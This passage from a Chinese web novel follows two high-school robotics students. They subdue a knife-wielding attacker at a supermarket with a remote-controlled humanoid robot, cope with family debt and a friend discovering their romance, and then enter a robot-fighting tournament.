因为他自己在网上一搜花语,坚信自己送他的是“美好的爱情”。 方笑贻试图解释:“不是,是幸运。” 边煦不听:“就是爱情。” 方笑贻看他那个恋爱脑的样子,一边无语,一边又止不住眉开眼笑。 可这些,盛芝兰不知情,还以为她孙子是纸上谈兵,嗓子一扬:“阳阳,别给阿姨添乱了,回来接电话。” 中间电话空线,方笑贻听见边煦远远地问了句:“谁啊?” 盛芝兰说:“小方呗。” 边煦说:“来了。” 盛芝兰又问他:“你不是要去看你妈妈?怎么又约了同学?” 边煦说“又看不了一天”,说完声音才清晰地出现在听筒里:“喂?” 方笑贻说:“在。” 边煦:“在了,然后呢?” “然后就,”方笑贻笑了下,“早上好吧。” 边煦也笑:“你专门打个电话,跟我说早上好啊?” 方笑贻说也不是:“我问你出门没有,但你奶奶已经回答过我了,所以我没什么可问你的了。” “那我问你,”边煦说,“你到商场了吗?” “到了,我在北门,”方笑贻说着压低了声音,“对了,你奶奶还在你旁边吗?” “不在,我到洗手台这儿来了。” “哦。”方笑贻音量这才恢复正常,他迟疑了下,这会还是没提程辉的事。 等他看完他那个妈,再说,这会就还能多高兴半天。 打定主意,方笑贻说:“你洗吧,我挂了,向哥他们应该到了。” “等会儿,”边煦又抢了一句,“你这声音,跟做贼一样,你刚说什么了?” “没啊,就出门没有那一句。” “那你虚什么?” 方笑贻皱了下脸:“可能是良心太多了吧我。” 有时他也会厌恶自己,当下这样快乐,他每天都在傻笑,但他就是没办法,完全活在这一刻。遇到一点风吹草动,他就会开始琢磨以后,不好的那种。 万一,盛芝兰不同意…… 没办法,他就是害怕,现在越高兴,失去的时候就痛苦。 因为盛芝兰对边煦的在乎,是奶奶+亦父亦母的分量,那种分量,迫使方笑贻不敢不提前酝酿:怎么办?该怎么做?能做什么? 对面,边煦笑了下,没有反驳:“你去吧,我过去了给你打电话。” 方笑贻应完声,挂了电话,从一个有底商外门的化妆品店出去了。 北门外面,负责原动力家品牌拓展的2个运营已经在等他了,3个人把机器人开箱,抬出来开机站立,来往的人都会瞅它一眼。 还有个穿蓝T恤的女生跑过来说:“帅哥们,可以帮我跟它拍个照吗?” 这里方笑贻年纪最小,杂事上得最有眼力,他立刻过来接了手机:“可以的。” 然后给她拍了几张,期间注意到她的T恤上的logo是嘉辉,正是负一楼的那个大型超市。 拍完,“蓝T恤”美滋滋地翻了几下相册,翻完又抬头抿嘴猛笑:“我给你和它拍一张,行吗?” 运营的孙哥坐在机箱上抽烟,闻言打趣道:“哟,醉翁之意不在酒哦。” 但方笑贻卖手不卖脸,头摇得很果断:“不行。” “蓝T恤”撇了下嘴,转身离开之前,还把他撅了一顿:“小气!长得好就大方一点嘛。” 没多久,商场的楼管跟乐园的市场部也来了。 市场部的经理是个美女,头发一盘,漂亮得像个空姐,她们带了乐园的宣传小页,说:“你们这个机器人,能不能发传单啊?” 孙哥笑道:“有可以发的,但现在还在实验室里,这个不行,手上的配置不够,抓不住很薄的东西。” 不过最后,又还是商量出了一个折中的办法。 法子是方笑贻想的,叫楼管给一卷细的双面胶,贴在机器人的中指根部,再把小页贴上去,胶不粘了就换一截。 之后就是重复且无聊的遥控,但方笑贻留意在训练,不许机器人撞到行人、尽量不做无效动作、控制传单和路人手的距离…… 不过快11点的时候人变多了,他就开始瞎干。 干到一半,他看见程辉又从北门出来了,身边还有4个人,但都不是早上那2个,像是商场的人,有蓝T恤、有白衬衫,还有一个是乐园那个美女经理。 一行人很快过来了。 方笑贻最先心还提了下,不过很快又放下了,因为程辉根本不“认识”他,过来的目的,只是看机器人引流效果还不错,想跟孙哥协调出晚上的时间,去给他的超市引流。 到这里方笑贻才知道,原来他是嘉辉超市的老板之一。 时间上的安排归孙哥管,他们一边商量,一边又回商城里面看场地去了。 方笑贻还是“发”传单,没一会,刘丞丞又打来一个电话:“老板呀,你在哪儿啊?” “北门,”方笑贻说,“一点缘分都没有。” 刘丞丞嗤笑一声:“哼缘分,我马上给你制造一根,DQ买一送一,你吃啥?” 方笑贻这儿还有两个人,他吃独食吗?他说:“我不吃,没空,你们吃吧。” “吃吧,”刘丞丞劝道,“你同桌要吃,有便宜咱就占,肥水不流外人田。” 方笑贻听这意思,边煦好像过来了,可他去看妈,结果午饭都不吃一顿,这会面可想多失败。 方笑贻眯了下眼睛说:“那你问边煦吧,我不了解这个什么DQ。” 刘丞丞说ok,方笑贻借口有事,挂了电话,挂完刚拨通边煦的电话,他那个嘀哩呱啦的怪铃声就响在了背后。 方笑贻回头一看,他表情果然有点沉闷。 “怎么了?”方笑贻嘴上小声问他,心里却猜八.九不离十,也就是程辉那些事。 第56章 刘丞丞举着冰淇淋跑下楼,结果楼下又没人。 “哦,找小方哈?”楼下遥机器人的孙哥说,“他上厕所去了。” 但方笑贻跟边煦其实不在厕所,两人在1楼的消防通道里。这里难找,压根没人,比厕所更适合说话,两人也不嫌脏,直接靠墙坐在地上。 方笑贻已经知道了,边煦郁闷的原因。 他妈妈给他下了个跪,为了让他同意,把老宅借给她抵押。 逼到这份上,方笑贻都有点替他提心吊胆:“他们到底是欠了多少?” 边煦心里烦,但不是针对方笑贻:“她说抵押了房车,还欠650个。” 巨款,这对现在的方笑贻来说,他问:“……怎么欠的?” “瞎投资。”边煦也没把他当外人,于静涵说了什么,他就转述什么。 什么餐饮加盟、医药、文旅开发,他们还买了380万某暴雷平台的纸黄金,全部都有融资,然后亏的亏、跑路的跑路。 方笑贻牙根发酸:“那你怎么跟她说的?没同意吧?” 边煦脸上有层淡淡的嘲讽:“没有,我叫她把檀溪的房子卖了,拿去还债。” 方笑贻想也知道,她不愿意,不然不会一而再地找边煦。 不过边煦挺清醒的,他就换了个话题:“他们欠债,对你影响大吗?” 边煦捏了下他的手指:“应该还好,别担心。” 只要他们名下还有查得到的财产,债主也不会找别人。 方笑贻操心死了:“还是早点分开吧。你监护人现在还是你妈妈吗?能不能换成你奶奶?” 边煦说之前问过律师了,父母没有过错,不能无缘无故换监护人。 这事还是弄得他俩心情都有点灰暗,连中午抽空去那个乐园,也都意兴阑珊。 因为那个乐园,乍一看可唬人,仿佛进入了现实版的“西部世界”。 成群结队的外国佬机器人,全部披着硅胶仿生皮,或站在玻璃仓里,或站在互动展位上,还有一个“爱迪生”,在给游客讲电灯泡的故事……它们皮肤的纹理已近乎与真人无二。 扫码付30块钱,弹开玻璃仓,还能跟它们做个互动:语音聊天;你挥手,它就挥手这种。 刘丞丞刚进来的时候,趁导玩不注意,偷偷摸了下要交钱才能互动的机器人的手背,摸完还直呼卧槽。 “好瘆人,”他搓着自己的鸡皮疙瘩说,“跟在摸小马的手背似的。” “滚你大坝的。”马嘉楠也有点毛毛的,他本身就怕ai统制人类,更遑论那机器人腿上还能看见毛孔。 “真的!”刘丞丞无语,“不信你自己摸。” 马嘉楠害怕:“我不。” 刘丞丞只好来依靠权威:“方老板、煦子,你俩说,我有没有夸张?” 只可惜这俩权威都很拉胯。 方笑贻是因为诚实:“这个,我不晓得,我们还没接触过仿生人皮类的机器人。” 边煦则是自己不爽,在报复社会:“你有。” 刘丞丞:“……” 这时,搭着刘丞丞肩膀看热闹的谢恒忽然又表情一僵,指着马嘉楠背后说:“小马,你后面……” 马嘉楠一回头,看见一个男半身机器人的“脸”在抽搐,眉毛、眼球、肌肉和嘴,俱都同时在夸张的抽扭,再加上机器特有的卡顿频率,那效果活像个恐怖谷。 马嘉楠顿时大叫一声,那嗓门之大,大到谢恒都后悔叫他了。 但除了这些,里头也没什么太新鲜的东西了。 尤其是对方笑贻和边煦来说,乐园机器人的技术点在仿生皮上,跟他们那个拼硬件的格斗机器人不是一个方向。 所以新鲜劲过后,拍了几张合照,方笑贻就跟边煦下楼回北门了,刘丞丞几个则去电玩城了。 一下午匆匆而过,程辉也没再出现。 方笑贻跟边煦遥控的时间各半,两人无聊,还小比了一下,拿笔在传单上计分。 边:没站稳-3/传单偏了-3/摔倒-1 方:2/6/0 “你刚摔那一下,”方笑贻在传单上勾勾画画,“这个,你注意到没?像不像那个‘顶膝’的动作?” 边煦:“……有一瞬间是像的,但这是它自己打滑打出来的,跟遥控没关系。” 方笑贻好玩地说:“你写个‘顶膝’的框架控制代码呗。” 哪儿那么好写?边煦扫他一眼:“你以为是买菜吗?” 就现在的技术,能把个路走得像人,踹一脚不那么容易倒,都不错了。 “但是这个动作很帅,”方笑贻乐道,“而且很有技术含量,到时一打出来,肯定很特别。” 边煦看他一脸展望,但还是泼冷水:“但它是单脚站立,很容易摔倒。” “摔倒的话,”方笑贻拖着语速琢磨,“回撤就快一点,不行吗?” 边煦遥着机器人,想了会儿说:“我回去问问赵老师吧。” 他俩跟玩马里奥似的,你一局我一局,还故意尝试故障动作,没有行人的时候,把个机器人摔得哐哐响。 孙哥在旁边心疼的够呛:“喂!你们两个,能不能别擦我的漆、浪费我的电了?我这冲都冲都不过来,晚上还有工作呢弟弟们。” 他说到这个,方笑贻才想起来,对边煦说:“我们晚上还要去楼下那个嘉辉超市,还有3个小时,你要是不想去,吃了晚饭你就先回去。” 边煦说:“到时候再说。”看他心情。 只是到了6点,他们跟着超市的工作人员,进超市餐饮区吃饭时候,边煦又不想走了。 因为他俩商量起那个特异动作,边煦又上github上提了个问题。 然后国外一个技术牛,给他提供了一个思路:把跌倒检测算法、姿态调整系统和传感器监控重心偏移,连起来想想看。 他就一直在那儿想,甚至还跑去超市买了个本子,坐在机箱上埋头苦算: 当机器人的一边膝盖需要顶到胯部以上时,每条腿从脚掌、踝关节、膝关节到髋关节的夹角和坐标应是多少。 专注得孙哥喊他吃饭,他也光应声但不动,人状态好的时候,会停不下来。 方笑贻连忙对孙哥摆了下手:“哥,别喊他,我给他带饭,你别管了。” 他声音压低了些,孙哥也感觉到自己太大声了似的,嗫嚅道:“哦哦哦,好。” 然后方笑贻去商城的美食区,买了份牛肉盖饭和一碗宽粉,提上来坐在他身边的地上吃粉。 他坐在商场这边,抬头看边煦,就是一个绚丽夕阳下的剪影。 俊挺的脊背、如飞的下笔、以及那种聚精会神的静气,那是一种大佬的姿态,比纯相貌的好看又多一点内涵。 方笑贻吃几口就看他一眼,拿他脸的下饭似的。下到一半,边煦忽然抬起头来,两人视线撞个正着。 周围还是有点吵,但边煦心里很宁静,他轻轻地说:“你这个眼神,有点迷恋噢。” 方笑贻理直气壮地说:“我迷恋你,不是很正常?” “太正常了。”边煦笑了下,伸手抹了下他干净干净的左嘴角,又往他跟前凑了凑,“给我吃一口。” 方笑贻“喂”了他一下,示意他收敛些。 边煦骗他:“你嘴旁边有油。” 方笑贻将信将疑地瞥了他一眼,又三两下给他卷了一口宽粉,筷子连碗往上送。 喂完这口,收碗的时候,方笑贻余光里瞥见有人在旁边拍照。他转头一看,那穿蓝T恤的双马尾女生隐隐脸熟,好像还是早上跟机器人合影的那个。 6点出头,他们给机器人换了块电池,又搬着设备去了超市门口。 边煦还没算完,就在右边墙根下的条椅上继续。 方笑贻则遥着机器人,按照商场经理的要求,在他们搬出来的音响旁边,左右上下地让它做切菜状。 因为它旁边还有个超市的dancer小哥,在菜而自信地跳apt。 原本这效果还可以,驻足的人形成包围圈,边煦渐渐都看不到方笑贻了,他也还是算他的,直到一声尖叫从人群里爆开。 边煦没由来地眉心一抽,随即抬起头,看见人群里有抹光一划而过。 金属色,像是刀—— “啊!” “有、砍人了!” 惊叫响起的瞬间,方笑贻正在看手柄的电量,循声一抬眼,就见程辉冲破人群,朝这边过来了,他左手捂着右肩,指缝和衬衫上都是血。 在他背后,一个带黑色鸭舌帽的男人举着把西瓜刀,正在穷追不舍。 程辉边跑边喊:“……钱我给你,现在就给你打,你、你冷静……” “鸭舌帽”一听,愈发癫狂,他卡着痰似的笑了几声,又怨毒地说了几句。 只是那声音嘶哑,没人听清,只见他追着程辉四下挥刀,吓得人群乱窜,场面瞬间就乱成了一团。 方笑贻心一下提了起来,本能地按了下待机键,同时抬脚就朝边煦那边跑。 只是他人才一动,右手就被抓住了。 孙哥坐在机箱上,急道:“弟啊,拉我一把。” 他抓得紧,甩跟搀一样费时间,方笑贻连忙一使劲,把他拽了起来。 期间,斜前方,接到指令的机器人在缓缓下蹲。 程辉看见它动,忽然眼前一亮,调整方向开始往这边冲。 “那小孩儿,”他急得要命,“快!用你那个机器人,把他拦住!” 方笑贻假装没听见,拍了下孙哥,两人掉头就跑。 “前面不行,人全挤一块儿了,”跑了几步,孙哥扭头说,“应该往超市里头跑的。” 可这就是个马后炮,背后有刀,谁会对着刀的方向跑?而且边煦还在外面。 方笑贻没吭声,直奔对着条椅的那块,在人群里边找边喊:“边煦,边煦?” 头两声还没人应,不过这么短的时间,他不可能闪现到别处去。方笑贻举高手柄,正要再喊。 孙哥却忽然把他往左边一拽:“这会找什么人?赶紧的,离刀远点儿吧!我看那个人精神不太正常。” 方笑贻回头一看,竖向上,他们确实跟程辉差不多在一条直线上,当即脚尖一转,但嘴上又喊了两声。 可这次在嗡嗡的嘈杂里,边煦的人和声音居然一起冒了出来。 “方笑贻,这儿!” 方笑贻追着声音,看见他在自己右边半米、2层人头后面。 边煦囫囵打量他一眼,看不见全身,但脸和精神还好,不由松了口气,立刻对他一偏下巴:“去,到旁边去。” “那你呢?”方笑贻对他伸了个左手,想把他拉出来。 但程辉离人群不远了,边煦觉得危险,打了下他的手:“快走,我在里头,没事,一会儿找你。” 这时,这一块的人群开始往两边钻动,而背后皮鞋的急促声,也好像敲在耳膜上。 太近了,仿佛刀要砍到背上了—— 方笑贻一个激灵,识时务道:“那你小心点。” 边煦“嗯”了下:“好,走。” 方笑贻刚要往左跑,背后却忽然“哗啦”一响。 方笑贻仓促地扭头一看,就见自己遥的机器人,被拿刀的一脚踹飞了。 它两脚剐着地,飞出来撞到程辉的后背,把他撞得也往前一飞,扑到地上还溜了一截,那个手臂一伸直,离方笑贻的右后脚跟,也就寸余的距离。 然后鸭舌帽举着刀,再次冲向了程辉。 地上有条瘆人的血印子,可求生欲爆发时,程辉竟不觉得痛似的,猛地在地上爬了两步。 那一瞬间,方笑贻心眼不详地狂跳,压根没空思考,纯靠身体上的本能,往左梭了一步。 程辉一把没捞住他的腿,继续往右勾,抓住了紧挨的大妈,自己蜷溜过来,并奋力把她往后一甩。 大妈瞬间失去了平衡,她双手疯狂乱抓,又把方笑贻和她另一边的一个女的给抓住了。 其实2个人拉1个,哪怕大妈有点胖,按理应该也拉得住的。 只是那女的是个孕妇,方笑贻这边又有人在挤,混乱的短板叠在一处,导致边煦才看见他左转,紧接着斜里一歪,人就不见了。 只余一片混乱。 “救、救命啊。” “老婆!” “呃啊!” 而近处的地上,现在是边煦的视野盲区。 那里什么状况,他根本看不见,但本能里就是有层寒意,瞬间裹住了他的后背。 边煦心里一慌,用力就往外冲,他力气不小,两层人头一撞就开了。 挨撞的人破口大骂,他也充耳不闻,只在陡然撕开的视野里,看见了令他心惊肉跳的一幕。 只见对面,鸭舌帽的刀,已经在往下砍了。 而地上,大妈、孕妇、方笑贻,三人蚂蚱串似的倒在地上,方笑贻因为最后才倒,成了迎向刀口的第一个人。 边煦脑子里“嗡”的一下,目眦欲裂地喊了一声:“方笑贻!” 那嗓门之大,震得程辉和鸭舌帽都忽然看了他一眼。 但是方笑贻没看他,兀自脸色煞白、手指如飞地在搓摇柄。随着他的动作,一截机械腿忽然蹬到了鸭舌帽面前。 它没蹬到人,但挡住了他那只那条往下砍的胳膊,西瓜刀跟着手在半空卡了片刻。 人群里霎时咋呼起来。 “好!” “诶唷还能这样?” “对!用机器人打他,机器人不怕刀!” 边煦却抓住这点空缺,蹲跪到地上,抓住方笑贻的脚踝,猛地将他拖了过来。 地上都是瓷砖,拖个人十分轻松。 只是方笑贻一溜下人堆,直面歹徒的就成了孕妇。 方笑贻视野不好,赶紧把手柄递给了边煦。 边煦第一时间没接手柄,抓着他的手腕,把他拉起来到怀里撞了一下,悬着的心才落回肚子里,抄走手柄,配合着提包冲上去的孕妇老公,以及带着防爆叉赶来的保安,用机器人将歹徒从胸前抱住了。 它70斤,电机锁死的时候,要不是特种兵,带着它根本跑不动。 之后,警察过来,把鸭舌帽拷走了,又带他们回派出所做了笔录。 路上程辉跟边煦套近乎:“今天真是谢谢你们了,要是没有你们,真不知道会出什么事。” 边煦冷淡得很,没怎么理他。 翌日下午,方笑贻又接到了商场经理的电话,问他俩能不能过去接受一个采访,因为#机器人制服歹徒#这个话题在网上挺火,有自媒体感兴趣。 方笑贻人都在学校了,婉拒了。边煦更不可答应。 两人在学校上课、训练,根本不知道,自媒体还在超市挖掘信息。 与此同时,网上营销的如火如荼的机器人格斗大赛,也终于拉开了序幕。 第57章 从派出所回来,方笑贻本来还留了个心眼。 刀差一点就砍到身上了,可当着边煦的面,程辉竟只字未提借钱借房。只是他负责淡定,边煦的妈妈却在下跪,方笑贻总觉得他伪善,并且这事还没完。 只是眼下还轮不到程辉,超市的视频在网上传得火热,前后相差不久,就纷纷抵达了他们熟人的手机上。 方笑贻一回家,王玉华就整个把他转了两圈,见只有些淤青和擦伤,散发着云南白药喷雾的气味,才念了一串:“谢天谢地没事就好……” 盛芝兰的反应就更大了。 暂时,她不允许边煦再跟于静涵那边接触了,也不许他去人流密集的地方,并且没得商量,上、下学都得李叔接送。 边煦觉得她太夸张了,并对最后那项颇有微词。 近来周五放学之后,他习惯跟方笑贻去老宅消磨一会儿了,耳鬓厮磨自然也有,但却不全然是为这个,只是有个地方多共处一会儿,星期五就都是自己回去的。 这事盛芝兰也知道,因为根本瞒不住,边煦不回家,她总得问去处,而老宅的物业又会定期给业主打电话。 边煦干脆跟她坦白了,说他跟方笑贻过去写作业、研究竞赛改装,反正很忙但全是正事。此外为了掩人耳目,他还把唐悦喊过去了一回。 唐悦家在这儿也有个院子,院里有他的练歌房。 而上次唐悦过去,他俩在仓库的地上拆机械狗,满地都是零件,墙上还有一个暂停的课程投屏,是个戴眼镜的老师,在讲一堆矩阵和坐标。 那个气氛太过学术,以至于唐悦没法想歪,只急忙掏出手机,给程慎录了个视频。 “快别去学你那个什么鬼跆拳道了我靠,”唐悦公然泄密,“都搞机器人,你看人一中的干嘛?他们在学这个Ro……Rotation Matrix,什么东西?” 方笑贻这才知道,程慎是六中机器人队的,也拉着唐悦一通刺探。 “你们学校用的机器人,是哪个厂的?什么型号?” “你们技术外援老师是谁?现在训练到什么程度了?鲤鱼打挺?行不行?” …… 唐悦高深莫测地笑道:“无可奉告。” 但是这次,当这个机器人大斗歹徒的视频,被推到自己的首页,唐悦第一反应是给边煦打电话问平安。问完得知他没事,再去欣赏他的英姿,然后才忽然感觉到不对劲。 因为边煦喊“方笑贻”的那个表情,太惊吓了,好像别人有多么重要一样。 另外,他把人拉起来时,他俩撞在一起的那个姿势,除了缺一只或两只手,实在很像一个拥抱。 唐悦左边眉毛一抽,越想细节越多。 边煦去一中之后,心情就变好了。老跟方笑贻黏在一起。带人回家,还去老宅…… 于是当天半夜,边煦又接到了唐悦的电话。 “明天中午,”唐悦说,“吃汗蒸,就你跟我。” 边煦原本还在跟方笑贻发消息,问方笑贻明天还去不去商城,听唐悦语气有点严肃,问了句:“怎么了?” “别问,明天来就是了。”唐悦说完就挂了。 翌日边煦过去,发现他一改吃大堂的习惯,就两人,还要了个包间。 边煦往他对面一坐,还没开口,就见他把手机推过来,冲道:“解释一下吧,这代表啥意思?” 边煦垂眼一看,屏幕上是个视频的暂停画面:自己的脸对着镜头这边,左脸贴着一个后脑勺的侧脸。 那画面其实很糊,不熟的大概都看不出是他的脸。但传达出来的感觉很亲密。 边煦再一瞥唐悦的脸色,恼怒、心寒又克制,心下登时了然,笑了下说:“你歧视同性恋啊?” 唐悦倒吸一口气,抄起菜单就蹿起来抽他:“同性恋跟老子有屁关系?我踏马只是歧视你而已!” 边煦坐着没动,随他抽了,因为这汗蒸店朴素,菜单就是一张塑封的纸。 唐悦一口气抽了他六、七下,才消停下来,开始审问。 “你……”以前也没这个迹象啊,唐悦眼神复杂,“什么开始的?” 边煦只管老实交代,唐悦一听自己被瞒了快2个月,又气饱了:“可以!你小子,够见色忘友的,真的是头一天认识你!” 其实是方笑贻不想让别人知道,而唐悦自己也没发现猫腻。但边煦把锅背了,给唐悦倒了杯菊花茶说:“对不起,消消气。” “滚!”唐悦口嫌体正直,瞪了他一会儿,又还是端起了杯子,欲言又止,“其实谈恋爱是挺好玩儿的,我也谈,但你这样,欸,不怕把你妈……不是,你奶奶气死啊?” 边煦也不是没想过,只是想得没那么多。 在他这个年纪,心思绝大部分还是在自己的身上,像方笑贻那样老在琢磨别人的,才是少数。 边煦压着他的手机,在桌上转了会儿,才说:“这也不是我能控制的。” 这么优柔寡断了,唐悦开眼地咧了下嘴:“……这么喜欢啊?” 边煦“嗯”了一声,同时点头眨眼的。 虽然幅度都很轻,但他在笑,竟有点温柔的迹象。 唐悦见状,劝退的话霎时卡在嗓子眼。 他接受度还是挺高的,毕竟他有4个同父异母的兄弟姐妹。唐悦只是感觉,盛芝兰会接受不了,她一直惦记着抱孙子,而边煦是她家唯一的孩子。 但边煦这个德行,唐悦也泼不出冷水,只好叹气:“唉,艹!” * 昨天出了伤人案件,今天商场照常营业。 不过向黎把方笑贻换到南门去了,他忙到快2点,坐地铁回去的路上,看见边煦跟唐悦在1点10几前后,都给他发了消息。 [边煦]:吃饭没?几点回学校? [Rock唐]:[唐三藏开机关枪.jpg] 方笑贻先回了边煦的:[吃了,半小时到] 又给唐悦回了个问号,因为那个表情包有点莫名其妙。 唐悦正好在玩手机,立刻又来一张:[向你开炮.jpg] 两次了,方笑贻终于悟到了敌意,回他:[我惹你了?] 唐悦可真是个敞亮人,开门见山就是一句:[惹了,你把我兄弟掰弯了] 方笑贻先是一愣,反应了片刻,才有一点心虚,又哭笑不得:[大哥,说反了] 发完他切出去,接上耳机,给边煦打了个电话。 边煦给他讲了下来龙去脉,方笑贻听完后,默然了两秒:“唐悦说什么了?” 边煦笑了下:“他说人生真的好鸡毛。” 方笑贻也跟着笑,笑着心里松了口气。 其实朋友应该都是这样,说不出什么重话的,自己怕的,只是自己内心的逃避和胆怯而已。 不过唐悦也没有轻轻就放过他俩,用表情包轰炸了他俩一个星期。 [围观你们的爱情故事.jpg] [在你们的爱河里尿尿.jpg] [520什么鬼 补鞋用的胶水么.jpg] [朋友会离开你,兄弟会背叛你,只有数学不会,就是不会.jpg] …… 一通操作下来,方笑贻认他当了表情包大王。至于边煦则被碰瓷又敲诈,负债累累地欠了唐悦2顿干蒸,3顿KFC任他选。 不过多了一个人的介入,那种感觉还是很热闹的。 方笑贻新鲜到星期五,上午第三节是生物课,但课前高蓬出现在后门口,远远招呼道:“方笑贻、边煦,来一下。” 但这几天无事发生,刘丞丞茫然道:“你俩又干啥了?” “啥也没干。”方笑贻也懵,领着边煦出去了。 一分钟后,高蓬站在栏杆前面,指了下学校大门那边:“刚门卫打电话来,说门口有个男的,是嘉辉超市的,要给你俩送见义勇为的锦旗。” 方笑贻眼底精光一闪:“什么样的男的?” “不清楚,”高蓬说,“不过他说他姓刘,是超市的经理,受老板吩咐,来向你们表达感谢。” 那就是还是程辉让来的,他到底想干什么? 方笑贻想不通,所以没想要锦旗,也下楼去看了看。 只是到了校门口,那刘经理又没干什么,只展开了他带来的那幅锦旗,“当代活雷锋,时代好青年”,问能不能跟他俩合个影,他好拿回去交差。 方笑贻没要锦旗,也拒绝合影。他就诶啊呀的,最后把那面锦旗,撂在了门卫室。 下午放学,盛芝兰言出必行,让李叔下车等在门口,直接把边煦拎走了。 边煦又把方笑贻拉上了车,熟练地叫李叔捎他到团堡庄公交站。那儿离一中其实也没几站,但方笑贻需要在那儿换车。 两人上了后座,李叔绕到驾驶席,侧身坐进来的时候,方笑贻看见他动作一顿,忽然往马路对面看了一眼。 那眼神映在左边的倒车镜里,竟一改这大爷平时苦憨憨的气质,显得锐利非常。 方笑贻一愣,想起边煦说李叔当过侦察兵,立刻也转头去看窗外,说:“李叔,怎么了?” 然而李叔已经坐到了座位上,那种犀利的感觉也不见了。 “哦没事没事,年纪大了,看错人了,”他指着路对面,一个杵拐的老大哥说,“我还以为那是我一个战友呢。” 他说得自然,方笑贻也没道理不信。 之后,程辉和他的经理就没再出现了,而紧张的训练和调试模糊了时间。12月24号周六,也是平安夜,晚上7点半,格斗大赛在省会议中心拉开了序幕。 只见6.1米的方形拳击擂台上矗立在场地中央,打满亮光,台外北面有面高于围绳、与擂台等宽的电子大屏,屏上左右各握有一只红蓝机甲拳头,中间的连筋字体徐徐浮出。 与此同时,主持人的播音在场馆里回荡: “男神不回消息,女神不回消息,都在干嘛?没错!他们都在看HRFC,人形机器人格斗大赛——” * “噗——” 后台选手候场区的直播电视跟前,有人忽然乐道:“这哪儿请来的主持人?怎么一股子弯弯味?” 又有人说:“拜托大哥,这是Battlebots(机器人大战)的中文解说名嘴,你玩机器人的,怎么连老庄都不认识?” “啊老庄!爷的青春。” “爷个锤子,根本没听过。” 然后他们就叽里呱啦地互相鄙视了起来。 方笑贻则坐在一中的操作台边,在看另一个人叽里呱啦。 今晚这个赛场里,弥漫着一种“不是冤家不聚头”的孽缘。 边煦在报到台先聚到了一个,六中的程慎。不久前被叫走了,程慎来找的他,说聊两句,两人出了馆,不知道哪儿去了。 这会儿,向黎又聚到一个,他那个女里女气的小三师弟。 这人提着星巴克的纸袋路过他们桌,看见向黎在,立刻就过来了,笑道:“师兄,喝咖啡吗?” 向黎不想被许柏他们打听,起初还想粉饰太平,不情愿也吭声:“不喝。” 结果这一搭理,不得了,他这师弟好像接错了信号,顿时大献殷勤。 “朗哥也在,喏,我们的桌位在那边。” “你们还没寄存行李啊,储物柜也在我们桌位那边。” 然后他还约向黎,比完赛了一起去吃烧烤。向黎脸色越来越黑,说:“不了,有约了。” 他这师弟还笑嘻嘻的:“谁啊?一起呗,我和朗哥有话跟你说。” 眼见着向黎眼角都在抽筋,方笑贻赶紧拿起边煦的电脑翻开,打断了他们:“向哥,来,代码跑不通了。” 向黎立刻过来了,只是他那师弟还是不走,站在原地喝咖啡,一副欣赏向黎逃避的姿态。 作为一个第三者,他实在相当缺德了,方笑贻也不乐意被他盯着,眉心一拧,直视着他说:“你好,你有事吗?” “没什么事,找你们前辈叙叙旧而已,”这师弟边说,边喝咖啡,“你问你的,不用管我。” “不是,我不是要管你,”方笑贻嘴角一扯,“我只是想认识一下,你是哪个队的?是教练还是队员?” 向黎的师弟顿了下:“我……我是明实的。” 明实全称明德实验中学,是私立高中,以学费高昂闻名。 “哦,”方笑贻点了下头,“你喊向哥师兄,应该不是队员了,你是教练吗?” 向黎的师弟脸上闪过一抹不自在,他作势看了眼电子手表,想要走。 但方笑贻学着他纠缠向黎那个架势,说:“你不是队员,也不是教练,那你是干什么的?你怎么进来的……” 其实也没把他怎么样,是那个师弟自己心虚,转身急急地要走,结果一脚绊到了穿过道的电线,摔了一跤,咖啡也撒了。 撒完他也不收拾,满面通红地爬起来跑了。 方笑贻原本都没当回事,只是没一会儿,一个穿灰色粗纹毛衣的男的忽然冒出来,二话没说,拽着向黎左肩上的衣服就走。 向黎背对着走道,看不见,也没防备,硬生生被从椅子上拖了起来,吓得倒“嗬”了一气。 方笑贻听见动静,一扭头,看见向黎被人提溜着,于是来人的脸都没看清,就赶忙伸手去拉,同时喝道:“你踏马谁……” 话没说完,那毛衣男就猛地把他椅背一掀,说:“滚开。” 他力气极大,会场的椅子又是塑料折叠椅,底杆打滑,一下歪了。 方笑贻晃了下,立刻用左手撑住了桌子,只是还没发力,坐着的椅子又莫名在摆正,与此同时,一双手从自腋下穿过来,托了一下,又把他放回了椅子上。 这种接触的感觉,都不用看,方笑贻就知道是边煦。所以他扭头就去看向黎,但他拉着向黎的手却忽然一轻。 有人说:“松手。” 声音像是那个程慎。 边煦也说:“比赛期间谩骂、打架、滋事的,取消比赛资格。” 他俩都是大个子,宽肩、冷脸,呈八字把那毛衣男一卡,很是有些压迫感。 那男的不敢造次,才把向黎松开了。向黎脸色铁青,骂道:“谢元朗,你踏马神经有病吧?” “我没病,”这个叫谢元朗的厌恶地说,“是你有病!你这个人太小肚鸡肠,容不下人。” 向黎像是快窒息了,但是懒得跟他吵,叫他滚。 谢元朗竟也没纠缠,只是走前恶狠狠的,顺时针把程慎、边煦、方笑贻都瞪了一圈。 等他一走,程慎就对方笑贻伸了下手。 “我是程慎,”他风度翩翩地说,“是唐悦的发小,很高兴认识你。” 方笑贻看了边煦一眼,忍着想笑的冲动,伸手跟他握了下:“我是方笑贻,是唐悦的、网友,也久仰你的大名。” 程慎摇了下,松开道:“也加下我吧,以后一起吃干蒸,你、唐悦和我。” 方笑贻嘴角快要压不住了:“行,我让边……呃不是,唐悦把你推送给我。” 边煦看他俩相当无语,但耐心挺好,愣是一声没吭。 好在程慎话也不多,排挤边某的策划案很快词穷,准备走了,向黎忽然又叫住了他。 因为六中相当豪门,他们跟电竞明显似的,有统一的队服,白运动服、黑运动裤,上面还有六中的logo小标,谢元朗肯定看到他的学校了。 向黎说:“可能我这么说,是对你们实力的一种冒犯,但知己知彼总不是坏处。谢元朗这个人,他的比赛风格非常阴险,喜欢故意留破绽,但其实有的是坑,也喜欢锁定对手的优势破坏,你们稍微留点心。” 程慎说好:“谢谢提醒。” 向黎摇头,又说是他该谢谢大家,程慎又客套,完了才回队里去。 这边,方笑贻一行人也去存包。路上他俩故意落后一截,交换了一下情报。 方笑贻说完自己这边的,又问他:“你俩躲起来聊什么去了?” 边煦闻言,半垂的眼底精光一敛。 程慎确实给了他一个颇为意外的消息:程辉打电话问程慎,自己是不是在谈恋爱? 程慎就是太惊讶了,为了吃瓜,才屈尊降贵来破冰的。 但这事只有唐悦知道,而边煦都不用问,唐悦绝不可能透露给程辉,那程辉是怎么注意到这个点的? 